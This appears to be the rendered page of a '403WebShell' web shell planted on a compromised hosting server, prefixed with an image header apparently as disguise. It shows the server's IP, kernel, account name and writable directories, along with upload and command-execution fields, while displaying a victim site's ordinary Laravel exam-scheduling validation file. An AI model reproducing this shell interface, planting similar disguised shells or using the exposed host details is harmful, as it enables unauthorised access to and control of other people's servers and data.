����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.226.163.178
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/./cbt.bofirm.com/app/Http/Requests/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/./cbt.bofirm.com/app/Http/Requests/Admin/UpdateExamScheduleRequest.php
<?php
/**
 * File name: UpdateQuizScheduleRequest.php
 * Last modified: 27/07/21, 1:06 PM
 * Author: NearCraft - https://codecanyon.net/user/nearcraft
 * Copyright (c) 2021
 */

namespace App\Http\Requests\Admin;

use Illuminate\Foundation\Http\FormRequest;

class UpdateExamScheduleRequest extends FormRequest
{
    /**
     * Determine if the user is authorized to make this request.
     *
     * @return bool
     */
    public function authorize()
    {
        return true;
    }

    /**
     * Get the validation rules that apply to the request.
     *
     * @return array
     */
    public function rules()
    {
        $rules = [
            'exam_id' => ['required'],
            'schedule_type' => ['required'],
            'grace_period' => ['required', 'min:1'],
            'start_date' => ['required', 'date_format:Y-m-d'],
            'start_time' => ['required', 'date_format:H:i:s'],
            'user_groups' => ['required'],
            'status' => ['required'],
        ];

        // conditionally validate end date and time based on start date & time
        if($this->get('schedule_type') == 'flexible') {
            $rules['end_date'] = ['required_if:schedule_type,flexible', 'date_format:Y-m-d', 'after_or_equal:start_date'];
            $rules['end_time'] = ['required_if:schedule_type,flexible', 'date_format:H:i:s',
                $this->get('start_date') == $this->get('end_date') ? 'after:start_time' : ''];
        }

        return $rules;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit